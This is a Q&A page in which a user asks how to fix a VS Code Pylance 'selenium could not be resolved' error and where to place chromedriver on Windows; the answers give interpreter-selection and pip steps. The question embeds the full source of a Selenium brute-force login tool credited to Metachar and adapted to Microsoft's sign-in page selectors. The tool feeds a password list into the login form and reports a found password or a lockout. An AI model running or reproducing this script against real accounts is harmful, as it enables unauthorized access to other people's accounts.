Import "selenium" could not be resolved Pylance (reportMissingImports)
Asked Answered
T

4

12

I am editing a file in VS code. VS code gives the following error: Import "selenium" could not be resolved Pylance (reportMissingImports).

This is the code from metachar:

# Coded and based by METACHAR/Edited and modified for Microsoft by Major
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException

# Graphics
class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
   CWHITE  = '\33[37m'

# Config#
parser = OptionParser()
now = datetime.datetime.now()

# Args
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()

CHROME_DVR_DIR = '/home/major/Hatch/chromedriver'

# Setting up Brute-Force function
def wizard():
    print (banner)
    website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
    sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
    sys.stdout.flush()
    t.sleep(1)
    try:
        request = requests.get(website)
        if request.status_code == 200:
            print (color.GREEN + '[OK]'+color.CWHITE)
            sys.stdout.flush()
    except selenium.common.exceptions.NoSuchElementException:
        pass
    except KeyboardInterrupt:
        print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
        exit()
    except:
        t.sleep(1)
        print (color.RED + '[X]'+color.CWHITE)
        t.sleep(1)
        print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
        exit()
    password_selector = '#i0118'
    login_btn_selector = '#idSIButton9'
    pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
    brutes(password_selector,login_btn_selector,pass_list, website)

# Execute Brute-Force function
def brutes(password_selector,login_btn_selector,pass_list, website):
    f = open(pass_list, 'r')
    driver = webdriver.Chrome(CHROME_DVR_DIR)
    optionss = webdriver.ChromeOptions()
    optionss.add_argument("--disable-popup-blocking")
    optionss.add_argument("--disable-extensions")
    count = 1
    browser = webdriver.Chrome(CHROME_DVR_DIR)
    while True:
        try:
            for line in f:
                browser.get(website)
                t.sleep(1)
                Sel_pas = browser.find_element_by_css_selector(password_selector)
                enter = browser.find_element_by_css_selector(login_btn_selector) 
                Sel_pas.send_keys(line)
                t.sleep(2)
                print ('------------------------')
                print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN)
                print ('------------------------')
                temp = line 
        except KeyboardInterrupt: 
            exit()
        except selenium.common.exceptions.NoSuchElementException:
            print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
            print ('LAST PASS ATTEMPT BELLOW')
            print (color.GREEN + 'Password has been found: {0}'.format(temp))
            print (color.YELLOW + 'Have fun :)')
            exit()

banner = color.BOLD + color.RED +'''
  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__ 
 |  __  |/ _` | __/ __| '_ \\
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  {0}[{1}-{2}]--> {3}V.1.0
  {4}[{5}-{6}]--> {7}coded by Metachar
  {8}[{9}-{10}]-->{11} brute-force tool                      '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)

driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 

if options.passsel == None:
    if options.loginsel == None:
        if options.passlist == None:
            if options.website == None:
                wizard()

password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(password_selector,login_btn_selector,pass_list, website)

I have downloaded the windows chromedriver. I don't know where I must place it on my computer. Does anyone have an idea where I must place it and how I can solve this error. When I try it in Linux, I get not an error. I placed the chromedriver in the same dir as the python file. When I do the exact same thing in windows it does not work. Can anyone help me out?

Telfore answered 2/3, 2022 at 15:7 Comment(0)
P
2

PyLance looks for the "selenium" python package and cannot find it in the configured python installation. Since you're using VSCode, make sure you've configured the python extension properly. When you open a .py file in VSCode, you should see a python setting in the status bar down below on the left. Select the installation on which you've installed selenium and PyLance will find your import.

Precedency answered 2/3, 2022 at 15:27 Comment(0)
Z
30

The accepted answer really wasn't clear enough for me (as a VSCode/Python newbie), but it set me on the right path. As of 2022:

  1. Open the VS Command Pallette (for Windows use Ctrl+Shift+P)
  2. Choose or type "Python: Select Interpreter"
  3. Select your OS's default Python version (check your C: drive) or whichever Python version you installed Selenium to.
Zoochore answered 2/5, 2022 at 18:54 Comment(1)
In the case that someone is using a virtual environment, you will need to use the Python version that is present under .[yourvenvname]\Scripts\python.exe. I was able to find the option by clicking on the Python version that is shown in statusbar in the lower right corner (VSCode version 1.7.1.0 on Win10).Tabbatha
P
2

PyLance looks for the "selenium" python package and cannot find it in the configured python installation. Since you're using VSCode, make sure you've configured the python extension properly. When you open a .py file in VSCode, you should see a python setting in the status bar down below on the left. Select the installation on which you've installed selenium and PyLance will find your import.

Precedency answered 2/3, 2022 at 15:27 Comment(0)
B
2
  1. Open the VS Command Pallette (for Windows use Ctrl+Shift+P)
  2. Choose or type "Python: Select Interpreter"
  3. Click on clear cache and reload window
Bertabertasi answered 28/11, 2023 at 15:59 Comment(2)
I did all the steps such as converting to the current version of Python and everything. Didn't know I had to actually restart the app, many forget to mention that. Worked for me :)Mada
Btw, the shortcut to open the command palette is similar in mac, which I'm using. Cmd+shift+PMada
D
0

From the location your virtual environment aka venv is located run this command pip3 install selenium

Danyelledanyette answered 27/1, 2023 at 5:3 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.